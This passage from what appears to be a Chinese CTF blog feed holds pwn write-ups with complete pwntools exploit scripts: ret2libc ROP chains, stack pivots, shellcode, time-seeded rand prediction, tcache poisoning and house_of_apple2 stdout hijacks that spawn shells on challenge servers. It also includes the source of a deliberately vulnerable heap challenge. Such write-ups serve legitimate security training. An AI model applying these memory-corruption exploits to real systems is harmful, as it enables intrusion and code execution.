u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) # io.recvuntil(b\u0026#39;\\n\u0026#39;) # read = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) # io.recvuntil(b\u0026#39;\\n\u0026#39;) # __libc_start_main = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) # libcdict_add(\u0026#39;puts\u0026#39;, puts) # libcdict_add(\u0026#39;printf\u0026#39;, printf) # libcdict_add(\u0026#39;read\u0026#39;, read) # libcdict_add(\u0026#39;__libc_start_main\u0026#39;, __libc_start_main) # libc = getlibc(\u0026#39;./libc.so.6\u0026#39;) # initlibc(libc) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) libc_base = puts - libc.symbols[\u0026#39;puts\u0026#39;] log.info(f\u0026#39;libc_base = {hex(libc_base)}\u0026#39;) system_addr = libc_base + libc.symbols[\u0026#39;system\u0026#39;] bin_sh = libc_base + next(libc.search(\u0026#39;/bin/sh\u0026#39;)) rop = p64(ret) * 22 rop += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr) payload = (((bytes(f\u0026#39;{0x18}\\x00\u0026#39;, \u0026#39;utf-8\u0026#39;).ljust(0x8, b\u0026#39;A\u0026#39;) + rop).ljust(0xd0, b\u0026#39;A\u0026#39;) + calc).ljust(0xfc, b\u0026#39;A\u0026#39;) + p16(0x38)).ljust(0x100, b\u0026#39;\\x00\u0026#39;) io.sendafter(b\u0026#39;number-1:\u0026#39;, payload) io.interactive() attack() ","date":"2026-02-25T03:26:00Z","image":"https://pic.ratherhard.com/random/rd1.png","permalink":"/post/ctf-pwn/nssctf/xhlj-2022-babycalc/","title":"NSSCTF-西湖论剑-2022-babycalc 题解"},{"content":"题目 题目链接\nchecksec vmmap 这里的 0x3fe000 在远端貌似不存在，被坑了，，，\nIDA main func 栈溢出漏洞\ngot onegadget 需要用 gadget 操纵寄存器\n攻击思路 第一次栈迁移到 got 上 leak 出 printf 的地址以获取 libc 基址\n第二次栈迁移为 onegadget 执行提供栈空间\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * from onegadget_selector import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./pwn_patched\u0026#39;) else: io = remote(\u0026#39;node1.anna.nssctf.cn\u0026#39;, 29246) again_addr = 0x401223 got_hijack = 0x404030 rw_addr = 0x404300 pop_rsi_ret = 0x2be51 pop_rdx_ret = 0x170337 def attack(): payload = b\u0026#39;A\u0026#39; * 0x30 + p64(got_hijack) + p64(again_addr) io.sendafter(b\u0026#39;magic\\n\u0026#39;, payload) printf = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) log.info(f\u0026#39;printf = {hex(printf)}\u0026#39;) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) libc_base = printf - libc.symbols[\u0026#39;printf\u0026#39;] log.info(f\u0026#39;libc_base = {hex(libc_base)}\u0026#39;) onegadget = select_onegadgets(libc.path) + libc_base pop_rsi_ret_addr = pop_rsi_ret + libc_base pop_rdx_ret_addr = pop_rdx_ret + libc_base payload = b\u0026#39;A\u0026#39; * 0x30 + p64(rw_addr) + p64(pop_rsi_ret_addr) + p64(0) + p64(pop_rdx_ret_addr) + p64(0) + p64(onegadget) io.sendafter(b\u0026#39;magic\\n\u0026#39;, payload) io.interactive() attack() ","date":"2026-02-25T00:21:00Z","image":"https://pic.ratherhard.com/random/rd3.png","permalink":"/post/ctf-pwn/nssctf/ghctf-2025-ret2libc2/","title":"NSSCTF-GHCTF-2025-ret2libc2 题解"},{"content":"题目 题目链接\nvmmap 0x3fe000 处为 rw\n之后 0x404000 会变成只读\nIDA main vuln fgets 最多读取 n-1 个字节，最后一个字节会被设置为 \\x00\n有关于 fgets 的 off_by_null ，可将 fd 设置为 0 ，为标准输入流的文件描述符，从而启用下方的 read\nclose(1) 会关闭标准输出流，之后不会有回显，但标准错误流还在\nmywrite mprotect 设置 0x404000 为只读\n关于 mprotect 有一个坑：其地址必须对齐 0x1000\ngadget 用于操纵 rax\n攻击思路 栈迁移难度不高\n考虑用 mprotect 开 rwx 区域用于写入 shellcode ，但这需要将 rdx 设置为 7 ，这一点利用 mywrite(\u0026quot;Thanks\\n\u0026quot;); 刚好可以实现\n然后利用 gadget 操纵 rax 以间接操纵 rdi 即可完成 mprotect 的调用（注意对齐 0x1000），然后写入 shellcode 即可\n吐槽 tnnd 为什么不给 libc 版本，，，本地调试的时候 close 把我的 rdx 吃掉了，没办法在设置为 7 的情形下进入 mprotect ，所以这题我本地过不了\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 if debug: io = process(\u0026#39;./devnull\u0026#39;) else: io = remote(\u0026#39;node4.anna.nssctf.cn\u0026#39;, 26863) mprotect_addr = 0x4012D0 rw_addr = 0x3ff000 - 0x18 leave_ret = 0x401511 mov_rax_rbp__0x18 = 0x401350 def attack(): payload = b\u0026#39;A\u0026#39; * 0x20 gdb.attach(io) io.sendafter(b\u0026#39;filename\\n\u0026#39;, payload) payload = b\u0026#39;A\u0026#39; * 0x14 + p64(rw_addr) + p64(rw_addr) + p64(leave_ret) io.sendafter(b\u0026#39;discard\\n\u0026#39;, payload) shellcode = f\u0026#39;push 59; pop rax; push {hex(rw_addr + 0x10)}; pop rdi; push 0; pop rsi; push 0; pop rdx; syscall;\u0026#39; payload = p64(rw_addr + 0x18) + p64(mov_rax_rbp__0x18) + b\u0026#39;/bin/sh\\x00\u0026#39; + p64(rw_addr) + p64(mprotect_addr) + p64(rw_addr) + p64(rw_addr + 0x38) + asm(shellcode) io.sendafter(b\u0026#39;data\\n\u0026#39;, payload.ljust(0x60, b\u0026#39;\\x00\u0026#39;)) io.interactive() attack() 最后记得用 cat flag \u0026gt;\u0026amp;2 读取 flag ，因为标准输出流被关了，我们需要用管道将输出发送到标准错误流\n","date":"2026-02-24T03:21:00Z","image":"https://pic.ratherhard.com/random/rd1.png","permalink":"/post/ctf-pwn/nssctf/qwb-2022-devnull/","title":"NSSCTF-强网杯-2022-devnull 题解"},{"content":"题目 题目链接\nchecksec vmmap 没有 rwx 段， ret2shellcode 比较困难\nIDA start 泄露了栈地址，有栈溢出\ngadget xchg 是交换指令\n攻击思路 其实就是 ret2syscall ，但是在栈的布局上要下点功夫，可以在一次输入内就完成攻击\n布局思路：（其实就是利用 dispatcher 的特性让 rbx 拥有类似 rip 和 rsp 结合体的功能）\n1 2 3 4 5 6 7 syscall_addr dispatcher xchg_addr r15 dispatcher xor_rsi_addr r13 print1 59 xor_rdx_addr rbx rsp↑ [stack]----\u0026gt;[ ] rdi print2 [stack]----\u0026gt;\u0026#34;/bin/sh\\x00\u0026#34; rsi print3 gadget 整合一下：\n1 2 3 4 5 6 7 8 9 10 11 syscall_addr rsp+0x38 xchg_addr rsp+0x30 xor_rsi_addr rsp+0x28 xor_rdx_addr rsp+0x20 \u0026#34;/bin/sh\\x00\u0026#34; rsp+0x18 dispatcher rsp+0x10 r15 dispatcher rsp+0x8 r13 print1 59 rsp+0x0 rbx rsp↑ rsp+0x18 rdi print2 rsp+0x18 rsi print3 gadget exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./attachment\u0026#39;) else: io = remote(\u0026#39;node6.anna.nssctf.cn\u0026#39;, 28007) gadget = 0x401017 dispatcher = 0x401011 exchange = 0x40100C xor_rdx = 0x401021 xor_rsi = 0x401027 syscall = 0x401077 def attack(): io.recvuntil(b\u0026#39;Y. )\\n\u0026#39;) stack = u64(io.recv(8)) log.info(f\u0026#39;stack = {hex(stack)}\u0026#39;) payload = flat(p64(gadget), p64(stack + 0x18), p64(stack + 0x18), p64(59), p64(dispatcher), p64(dispatcher), b\u0026#39;/bin/sh\\x00\u0026#39;, p64(xor_rdx), p64(xor_rsi), p64(exchange), p64(syscall)) io.sendafter(b\u0026#39;\u0026gt;\u0026gt; \u0026#39;, payload) io.interactive() attack() ","date":"2026-02-23T22:50:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/nssctf/ghctf-2025-areyou_goodat_hijackstack/","title":"NSSCTF-GHCTF-2025-真会布置栈吗？ 题解"},{"content":"题目 题目链接\nchecksec IDA main vuln root shellcode 有 shellcode 执行\n攻击思路 读懂代码后发现难点主要在构造 printable shellcode 上\n今天状态不好，没有深入研究，用的 ae64 ，之后会自己试着搓一个看看\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * from ae64 import AE64 context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 if debug: io = process(\u0026#39;./service\u0026#39;) else: io = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 26980) def attack(): payload = b\u0026#39;opt:1\\nmsg:ro0t \\n\\n\u0026#39; io.sendafter(b\u0026#39;\u0026gt;\u0026gt;\u0026gt; \u0026#39;, payload) sc = AE64().encode(asm(shellcraft.sh()), \u0026#39;rdx\u0026#39;) payload = b\u0026#39;opt:2\\nmsg:\u0026#39; + sc + b\u0026#39; \\n\\n\u0026#39; io.sendafter(b\u0026#39;\u0026gt;\u0026gt;\u0026gt; \u0026#39;, payload) io.interactive() attack() ","date":"2026-02-11T21:12:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/nssctf/ciscn-2022-login_normal/","title":"NSSCTF-CISCN-2022-login_normal 题解"},{"content":"tic-tac-no IDA main 井字棋\nplayerMove 数组越界写\ncheckWin 相同字符就胜利\nbss 越界写把电脑的棋子变成自己的就行了，脚本都不用写\nScrabASM IDA main swap_tile play 其实就是执行随机生成的 shellcode ，但可以更换任意字节为随机字节\n攻击思路 由于 srand 以时间作种子，可以考虑在同时运行本地随机数生成程序和攻击脚本以预测随机数，进而控制 shellcode\n且由于只有 15 字节的空间，我们可以先执行 read shellcode 再自行写入提权 shellcode\n(这张图片用了队友 ItsFlicker 的，懒得自己再截了)\n1 2 3 4 5 6 7 8 9 10 add al, 0xd push rax pop rsi xor edi, edi push rdi pop rax mov dl, 0xf0 syscall { 0x04, 0x0D, 0x50, 0x5E, 0x31, 0xFF, 0x57, 0x58, 0xB2, 0xF0, 0x0F, 0x05 } exp c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;time.h\u0026gt; int main() { int t = time(0); srand(t + 2); FILE *fp = fopen(\u0026#34;./beyond.txt\u0026#34;, \u0026#34;w\u0026#34;); if (fp == NULL) { printf(\u0026#34;failed\u0026#34;); } for (int i = 1; i \u0026lt;= 1000; i++) { fprintf(fp, \u0026#34;%02x \u0026#34;, rand() % 0x100); } fclose(fp); srand(t); fp = fopen(\u0026#34;./present.txt\u0026#34;, \u0026#34;w\u0026#34;); if (fp == NULL) { printf(\u0026#34;failed\u0026#34;); } for (int i = 1; i \u0026lt;= 1000; i++) { fprintf(fp, \u0026#34;%02x \u0026#34;, rand() % 0x100); } fclose(fp); srand(t + 1); fp = fopen(\u0026#34;./future.txt\u0026#34;, \u0026#34;w\u0026#34;); if (fp == NULL) { printf(\u0026#34;failed\u0026#34;); } for (int i = 1; i \u0026lt;= 1000; i++) { fprintf(fp, \u0026#34;%02x \u0026#34;, rand() % 0x100); } fclose(fp); return 0; } python 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./chall\u0026#39;) else: io = remote(\u0026#39;chall.lac.tf\u0026#39;, 31338) nowrd = [] prsrd = [] ftrrd = [] bydrd = [] tag = \u0026#39;\u0026#39; nowstep = [0] * 14 rout = [] fag = [0] * 14 sc = [\u0026#39;04\u0026#39;, \u0026#39;0d\u0026#39;, \u0026#39;50\u0026#39;, \u0026#39;5e\u0026#39;, \u0026#39;48\u0026#39;, \u0026#39;31\u0026#39;, \u0026#39;ff\u0026#39;, \u0026#39;57\u0026#39;, \u0026#39;58\u0026#39;, \u0026#39;b2\u0026#39;, \u0026#39;f0\u0026#39;, \u0026#39;0f\u0026#39;, \u0026#39;05\u0026#39;] def rdbt(): global nowrd io.recvuntil(b\u0026#39;Your starting tiles:\u0026#39;) for i in range(14): io.recvuntil(b\u0026#39;| \u0026#39;) nowrd.append(io.recv(2).decode(\u0026#39;utf-8\u0026#39;)) def prsbt(): global prsrd with open(\u0026#39;present.txt\u0026#39;, \u0026#39;r\u0026#39;, encoding = \u0026#39;utf-8\u0026#39;) as f: prsrd = f.read().split() def ftrbt(): global ftrrd with open(\u0026#39;future.txt\u0026#39;, \u0026#39;r\u0026#39;, encoding = \u0026#39;utf-8\u0026#39;) as f: ftrrd = f.read().split() def bydbt(): global bydrd with open(\u0026#39;beyond.txt\u0026#39;, \u0026#39;r\u0026#39;, encoding = \u0026#39;utf-8\u0026#39;) as f: bydrd = f.read().split() def randswap(): prepos = 13 for nowpos in range(14, 1000): flag = 0 op = 0 for i in range(len(sc)): if sc[i] == nowrd[nowpos] and fag[i] == 0: flag = i fag[i] = 1 op = 1 break if op == 1: nowstep[flag] = nowpos - prepos prepos = nowpos rout.append(flag) if len(rout) == 14: break def swapidx(idx): io.sendline(b\u0026#39;1\u0026#39;) io.sendline(str(idx).encode()) def attack(): global rout global nowstep global nowrd global tag rdbt() prsbt() ftrbt() bydbt() flag = 7 for i in range(len(nowrd)): if nowrd[i] != prsrd[i]: flag = flag \u0026amp; 0b110 if nowrd[i] != ftrrd[i]: flag = flag \u0026amp; 0b101 if nowrd[i] != bydrd[i]: flag = flag \u0026amp; 0b011 if flag == 1: tag = \u0026#39;prs\u0026#39; nowrd = prsrd elif flag == 2: tag = \u0026#39;prs\u0026#39; nowrd = ftrrd elif flag == 4: tag = \u0026#39;prs\u0026#39; nowrd = bydrd print(tag) randswap() for i in rout: for _ in range(nowstep[i]): swapidx(i) io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) mysc = shellcraft.sh() io.send(asm(mysc)) io.interactive() attack() tcademy checksec 保护全开\nIDA main 菜单题\nmenu create_note 只有两个槽位\ndelete_note print_note puts 可以通过溢出泄露一些内容\nget_note_index read_data_into_note 此处有由整数溢出造成的堆溢出漏洞\n攻击思路 glibc 版本为 2.35 ，是高版本，有 PIE 保护，没有 hook 函数可以劫持\n所以考虑劫持某个 _IO_FILE 结构体用来 getshell ，在此之前应先 leak libc\n可以通过 tcache poisoning 去把一个 chunk 放入 unsortedbin 中来实现 libc leak\n在高版本 libc 中， tcache 劫持的要求会更加严格\n首先是 safe-linking 机制，这需要还原泄露出的 next 指针，并且 key 的生成不再与堆地址相关，改为和 canary 类似的随机 8 字节数据\n然后是分配 tcache 时的判断，决定 tcache 是否分配的标准由 entry 是否为空变为 counts 是否为 0 ，不能再简单粗暴地劫持 tcache_pthread_struct 就完事了\n对于这道题目而言，更加棘手的是同时持有的 chunk 槽位只有两个，而想要通过 tcache poisoning 把目标地址写的权限拿到手至少需要持有两个该 tcache 的 chunk ，这需要我们修改 counts ，而在能够修改 counts 之前的 tcache_pthread_struct 劫持步骤，我们必须预先申请两个相同大小的 chunk 再放入 tcache\n而且还要注意不要破坏掉 size ，破坏了也要修复，不然 delete 的时候有你好受\n在进行 unsortedbin 布置时我们采用了堆溢出修改 size 结合 counts 篡改的方式，这样可以在持有该 chunk 的情形下将其定位到 unsortedbin ，事后直接 free 即可，非常方便\n还要注意一个小细节： tcache_pthread_struct 会被劫持也会被释放，这样的话前面的一些 counts 会变得比较奇怪，而且用于劫持 tcache_pthread_struct 的那个 tcache 会废掉，需要更换 size 做接下来的步骤\n最后劫持 IO_2_1_stdout 打 house_of_apple2 即可\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 102 if debug: io = process(\u0026#39;./chall_patched\u0026#39;) else: io = remote(\u0026#39;chall.lac.tf\u0026#39;, 31144) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) def create(index, size, content): io.sendlineafter(b\u0026#39;Choice \u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, str(index).encode()) io.sendlineafter(b\u0026#39;Size: \u0026#39;, str(size).encode()) io.sendafter(b\u0026#39;Data: \u0026#39;, content) def delete(index): io.sendlineafter(b\u0026#39;Choice \u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, str(index).encode()) def printnote(index): io.sendlineafter(b\u0026#39;Choice \u0026gt; \u0026#39;, b\u0026#39;3\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, str(index).encode()) def calcnext(ptr, pos): return (ptr // 0x1000) ^ pos def attack(): msize = 0x7 nsize = 0xf8 osize = 0xe8 create(0, msize, b\u0026#39;\\n\u0026#39;)\t# build arch create(1, nsize, b\u0026#39;\\n\u0026#39;) delete(0) delete(1) payload = b\u0026#39;A\u0026#39; * (0x20 - 1) + b\u0026#39;B\u0026#39;\t# leak heap create(0, msize, payload) printnote(0) io.recvuntil(b\u0026#39;AB\u0026#39;) heap = u64(io.recv(5).ljust(8, b\u0026#39;\\x00\u0026#39;)) * 0x1000 log.info(f\u0026#39;heap = {hex(heap)}\u0026#39;) delete(0) payload = b\u0026#39;A\u0026#39; * 0x18 + p64(0x101)\t# fix up create(0, msize, payload) delete(0) create(0, nsize, b\u0026#39;\\n\u0026#39;) create(1, nsize, b\u0026#39;\\n\u0026#39;) delete(1) delete(0) toentry = calcnext(heap + 0x2c0, heap + 0x10)\t# tcache_pthread_struct hijack payload = b\u0026#39;A\u0026#39; * 0x18 + p64(0x91) + p64(toentry).ljust(0x80, b\u0026#39;\\x00\u0026#39;) + p64(0x90) + p64(0x71) create(0, msize, payload) delete(0) create(0, nsize, \u0026#39;\\n\u0026#39;) payload = (p16(1) + p16(0) * 6 + p16(8)).ljust(0x80, b\u0026#39;\\x00\u0026#39;) create(1, nsize, payload) delete(0)\t# into unsortedbin payload = b\u0026#39;A\u0026#39; * (0x20 - 1) + b\u0026#39;B\u0026#39; create(0, msize, payload) printnote(0) io.recvuntil(b\u0026#39;AB\u0026#39;) libc.address = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - 0x21ace0 log.info(f\u0026#39;libc = {hex(libc.address)}\u0026#39;) delete(0) payload = b\u0026#39;A\u0026#39; * 0x18 + p64(0x91) # fix up create(0, msize, payload) delete(0) delete(1) create(0, osize, b\u0026#39;\\n\u0026#39;) create(1, osize, b\u0026#39;\\n\u0026#39;) delete(1) delete(0) stdout = libc.sym[\u0026#39;_IO_2_1_stdout_\u0026#39;]\t# stdout hijack payload = b\u0026#39;A\u0026#39; * 0x18 + p64(0x101) + p64(0) * 31 + p64(0x101) + p64(0) * 31 + p64(0xf1) + p64(calcnext(heap + 0x4c0, stdout)) create(0, msize, payload) delete(0) create(0, osize, \u0026#39;\\n\u0026#39;) fake_io = flat({ 0x0: b\u0026#34; sh;\u0026#34;, 0x28: libc.sym[\u0026#39;system\u0026#39;], 0x88: heap, 0xA0: stdout - 0x40, 0xD8: libc.sym[\u0026#39;_IO_wfile_jumps\u0026#39;] - 0x20 }, filler=b\u0026#34;\\x00\u0026#34; ) log.info(f\u0026#39;stdout = {hex(stdout)}\u0026#39;) create(1, osize, fake_io) io.interactive() attack() ourUKLA code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #define MAX_STUDENTS 10 #define UNDERGRAD 0x1 #define MASTERS 0x2 #define PHD 0x4 #define POSTDOC 0x8 #define HASNOLIFE 0x10 #define ACMCYBER 0x20 struct student_info { char noeditingmyptrs[0x10]; // No editing my pointers !!! char *name; unsigned long attributes; char major[0x40]; char aux[0x90]; }; struct student { unsigned long array_id; unsigned long uid; struct student_info *sinfo; }; struct student *ourUKLA[MAX_STUDENTS] = {0}; int cur_index = 0; void menu() { puts(\u0026#34;________________________________________________\u0026#34;); puts(\u0026#34;| ---------- |\u0026#34;); puts(\u0026#34;| ourUKLA v0.1.7 |\u0026#34;); puts(\u0026#34;| ---------- |\u0026#34;); puts(\u0026#34;| 1. Add student |\u0026#34;); puts(\u0026#34;| 2. Get student info |\u0026#34;); puts(\u0026#34;| 3. Remove student |\u0026#34;); puts(\u0026#34;|______________________________________________|\u0026#34;); puts(\u0026#34;\u0026#34;); printf(\u0026#34;Option \u0026gt; \u0026#34;); } void init() { setvbuf(stdout, NULL, _IONBF, 0); malloc(0x18); puts(\u0026#34;Administrator, welcome to ourUKLA.\u0026#34;); puts(\u0026#34;This is the portal for the University of Kungkungkung LAhur.\\n\u0026#34;); } void fill_student_info(struct student *s) { struct student_info *sinfo; if (s-\u0026gt;sinfo == NULL) sinfo = malloc(sizeof(struct student_info)); else sinfo = s-\u0026gt;sinfo; char *name = malloc(0x100); printf(\u0026#34;Student name: \u0026#34;); read(STDIN_FILENO, name, 0x100); sinfo-\u0026gt;name = name; printf(\u0026#34;Student major: \u0026#34;); read(STDIN_FILENO, sinfo-\u0026gt;major, 0x40); printf(\u0026#34;Student attributes (e.g. undergrad = 1): \u0026#34;); scanf(\u0026#34;%lu\u0026#34;, \u0026amp;sinfo-\u0026gt;attributes); while ((getchar()) != \u0026#39;\\n\u0026#39;); sinfo-\u0026gt;attributes |= HASNOLIFE | ACMCYBER; printf(\u0026#34;Require space to add aux data (y/n)? \u0026#34;); char res = getchar(); getchar(); if (res == \u0026#39;y\u0026#39;) { printf(\u0026#34;Aux data: \u0026#34;); read(STDIN_FILENO, sinfo-\u0026gt;aux, 0x90); } s-\u0026gt;sinfo = sinfo; } void add_student() { char* old_top = *((char**)puts + (0x166580/8)) + 0x10; struct student *s = ourUKLA[cur_index] = malloc(sizeof(struct student)); if ((void *)old_top == (void *)s) s-\u0026gt;sinfo = NULL; s-\u0026gt;array_id = cur_index++; cur_index %= MAX_STUDENTS; printf(\u0026#34;Enter student UID: \u0026#34;); scanf(\u0026#34;%ld\u0026#34;, \u0026amp;s-\u0026gt;uid); while ((getchar()) != \u0026#39;\\n\u0026#39;); printf(\u0026#34;Enter student information now (y/n)? You can do it later: \u0026#34;); char res = getchar(); getchar(); if (res == \u0026#39;y\u0026#39;) fill_student_info(s); printf(\u0026#34;Student with UID %lu added at index %lu!\\n\u0026#34;, s-\u0026gt;uid, s-\u0026gt;array_id); } void get_student_info() { unsigned long uid; printf(\u0026#34;Enter student UID: \u0026#34;); scanf(\u0026#34;%lu\u0026#34;, \u0026amp;uid); for (int i = 0; i \u0026lt; MAX_STUDENTS; i++) { if (ourUKLA[i] == NULL) continue; if (ourUKLA[i]-\u0026gt;uid == uid) { struct student_info *sinfo = ourUKLA[i]-\u0026gt;sinfo; if (sinfo) { puts(\u0026#34;STUDENT INFO\u0026#34;); printf(\u0026#34;Student Name: %s\\n\u0026#34;, sinfo-\u0026gt;name); printf(\u0026#34;Student Major: %s\\n\u0026#34;, sinfo-\u0026gt;major); printf(\u0026#34;Student Attributes (number): %lu\\n\u0026#34;, sinfo-\u0026gt;attributes); } return; } } } void remove_student() { unsigned long uid; printf(\u0026#34;Enter student UID: \u0026#34;); scanf(\u0026#34;%lu\u0026#34;, \u0026amp;uid); for (int i = 0; i \u0026lt; MAX_STUDENTS; i++) { if (ourUKLA[i] == NULL) continue; if (ourUKLA[i]-\u0026gt;uid == uid) { struct student_info *sinfo = ourUKLA[i]-\u0026gt;sinfo; if (sinfo) { free(sinfo-\u0026gt;name); free(sinfo); } free(ourUKLA[i]); ourUKLA[i] = NULL; return; } } } int main() { init(); int choice; while (1) { menu(); scanf(\u0026#34;%d\u0026#34;, \u0026amp;choice); switch (choice) { case 1: add_student(); break; case 2: get_student_info(); break; case 3: remove_student(); break; default: puts(\u0026#34;cmon you\u0026#39;re an administrator don\u0026#39;t tell me you don\u0026#39;t know how to follow basic instructions!!\u0026#34;); exit(1); }; } return 0; } 菜单堆题，最多可以持有 10 个 chunk ，但可以无限申请\n有关于 student-info 的 UAF\n攻击思路 突破口在于 student-info 的 UAF ，当申请一个新的 student 时，若 s_info 不为空，则不重新申请\n于是就可以利用这一点，在某个合适 chunk 中写入 leak 出的 _IO_list_all - 0x10 地址，然后把这个 chunk 放入 unsortedbin 中再进行若干次单采 student 使某一次恰好令 s_info = _IO_list_all - 0x10 ，如果此时选择填写 name 的话，刚好可以在 _IO_list_all 的位置上放上 name 指针，这也是一种任意地址写堆地址的原语\n然而在达成原语之前需要先 leak heap 和 leak libc ，而 leak 过程会破坏堆的结构，使后续过程难以进行；因此我们可以先 malloc 至没有 freed chunk ，再重新布局\n关于布局，核心思路就是：填满目标大小的 tcache ，从而创造出一个 unsortedbin chunk\n最后 name 上打 house of apple2 即可\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 if debug: io = process(\u0026#39;./chall_patched\u0026#39;) else: io = remote(\u0026#39;chall.lac.tf\u0026#39;, 31147) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) def calc_real_next(next): ori = next for i in range(4): next = ori ^ (next \u0026gt;\u0026gt; 12) return next def fill_student_info(name, major, attributes, yon, aux): io.sendafter(b\u0026#39;name: \u0026#39;, name) io.sendafter(b\u0026#39;major: \u0026#39;, major) io.sendlineafter(b\u0026#39;(e.g. undergrad = 1): \u0026#39;, str(attributes).encode()) if yon: io.sendlineafter(b\u0026#39;(y/n)? \u0026#39;, b\u0026#39;y\u0026#39;) io.sendafter(b\u0026#39;data: \u0026#39;, aux) else: io.sendlineafter(b\u0026#39;(y/n)? \u0026#39;, b\u0026#39;n\u0026#39;) def add_student(UID, info = False, name = b\u0026#39;\u0026#39;, major = b\u0026#39;\u0026#39;, attributes = b\u0026#39;\u0026#39;, yon = False, aux = b\u0026#39;\u0026#39;): io.sendlineafter(b\u0026#39;Option \u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;UID: \u0026#39;, str(UID).encode()) if info: io.sendlineafter(b\u0026#39;later: \u0026#39;, b\u0026#39;y\u0026#39;) fill_student_info(name, major, attributes, yon, aux) else: io.sendlineafter(b\u0026#39;later: \u0026#39;, b\u0026#39;n\u0026#39;) def get_student_info(UID): 